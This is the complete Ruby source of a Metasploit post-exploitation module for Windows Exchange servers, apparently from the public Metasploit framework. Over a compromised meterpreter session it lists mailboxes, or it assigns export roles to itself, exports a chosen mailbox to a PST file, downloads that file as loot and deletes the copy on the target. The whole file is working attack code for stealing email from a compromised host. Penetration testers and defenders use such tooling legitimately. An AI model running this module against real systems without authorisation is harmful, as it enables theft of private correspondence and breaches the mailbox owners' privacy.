modules/post/windows/gather/exchange.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Powershell
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Exchange Server Mailboxes',
'Description' => %q{
This module will gather information from an on-premise Exchange Server running on the target machine.
Two actions are supported:
LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.
EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.
For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter
The executing user has to be assigned to the "Organization Management" role group for the module to successfully run.
Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.
},
'License' => MSF_LICENSE,
'Author' => [ 'SophosLabs Offensive Security team' ],
'References' => [
[ 'URL', 'https://github.com/sophoslabs/metasploit_gather_exchange' ],
[ 'URL', 'https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/' ],
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'List basic information about all Exchange servers and mailboxes hosted on the target' } ],
[ 'EXPORT', { 'Description' => 'Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword' } ],
],
'DefaultAction' => 'LIST',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('FILTER', [ false, '[for EXPORT] Filter to use when exporting a mailbox (see description)' ]),
OptString.new('MAILBOX', [ false, '[for EXPORT, required] Mailbox to export' ]),
]
)
register_advanced_options(
[
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 600]),
OptFloat.new('DownloadSizeThreshold', [true, 'The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)', 50.0]),
OptBool.new('SkipLargeDownloads', [true, 'Automatically skip downloading export results that are larger than DownloadSizeThreshold (don\'t show prompt)', false])
]
)
end
def execute_exchange_script(command)
# Generate random delimiters for output coming from the powershell script
output_start_delim = "<#{Rex::Text.rand_text_alphanumeric(16)}>"
output_end_delim = "</#{Rex::Text.rand_text_alphanumeric(16)}>"
base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'exchange.ps1'))
# A hash is used as the replacement argument to avoid issues with backslashes in command
psh_script = base_script.sub('_COMMAND_', '_COMMAND_' => command)
# Insert the random delimiters in place of the placeholders
psh_script.gsub!('<output>', output_start_delim)
psh_script.gsub!('</output>', output_end_delim)
compressed_script = compress_script(psh_script)
cmd_out, _runnings_pids, _open_channels = execute_script(compressed_script, datastore['TIMEOUT'])
while (d = cmd_out.channel.read)
# Only print the output coming from PowerShell that is inside the delimiters
d.scan(/#{output_start_delim}(.*?)#{output_end_delim}/) do |b|
b[0].split('<br>') do |l|
print_line(l.to_s)
end
end
end
end
def user_confirms_download?
# Prompt the user to confirm the download. Return true if confirmed, false otherwise
return false unless user_input.respond_to?(:pgets)
old_prompt = user_input.prompt
user_input.prompt = 'Are you sure you want to continue? [y/N] '
cont = user_input.pgets
user_input.prompt = old_prompt
return cont.match?(/^y/i)
end
def export_mailboxes(mailbox, filter)
# Get the target's TEMP path and generate a random filename to serve as the save path for the export action
temp_folder = get_env('TEMP')
random_filename = "#{Rex::Text.rand_text_alpha(16)}.tmp"
temp_save_path = "#{temp_folder}\\#{random_filename}"
# The Assign-Roles command is responsible for assigning the roles necessary for exporting,
# It's executed in a separate PowerShell session because these changes don't take effect until a new session is created
execute_exchange_script('Assign-Roles')
execute_exchange_script("Export-Mailboxes \"#{mailbox}\" \"#{filter}\" \"#{temp_save_path}\"")
# After script is done executing, check if the export save path exists on the target
if !file_exist?(temp_save_path)
print_error('Export file not created on target machine. Aborting.')
return
end
# Get the size of the newly made export file
stat = session.fs.file.stat(temp_save_path)
mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
print_status("Resulting export file size: #{mb_size} MB")
if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
if datastore['SkipLargeDownloads'] || !user_confirms_download?
print_error('Not downloading oversized export file.')
rm_f(temp_save_path)
return
end
end
# Download file using the loot system
loot = store_loot('PST', 'application/vnd.ms-outlook', session, read_file(temp_save_path), 'export.pst', "PST export of mailbox #{mailbox}")
print_good("PST saved in: #{loot}")
# Delete file from target
rm_f(temp_save_path)
end
def list_mailboxes
execute_exchange_script('List-Mailboxes')
end
def run
# Check if Exchange Server is installed on the target by checking the registry
if registry_key_exist?('HKLM\Software\Microsoft\ExchangeServer')
print_good('Exchange Server is present on target machine')
else
fail_with(Failure::Unknown, 'Exchange Server is not present on target machine')
end
# Check if PowerShell is installed on the target
if have_powershell?
print_good('PowerShell is present on target machine')
else
fail_with(Failure::Unknown, 'PowerShell is not present on target machine')
end
mailbox = datastore['MAILBOX']
filter = datastore['FILTER']
case action.name
when 'LIST'
print_good('Listing reachable servers and mailboxes: ')
list_mailboxes
when 'EXPORT'
if mailbox.nil? || mailbox.empty?
fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
else
print_good("Exporting mailbox '#{mailbox}': ")
export_mailboxes(mailbox, filter)
end
else
print_error("Unknown action: #{action.name}")
end
end
end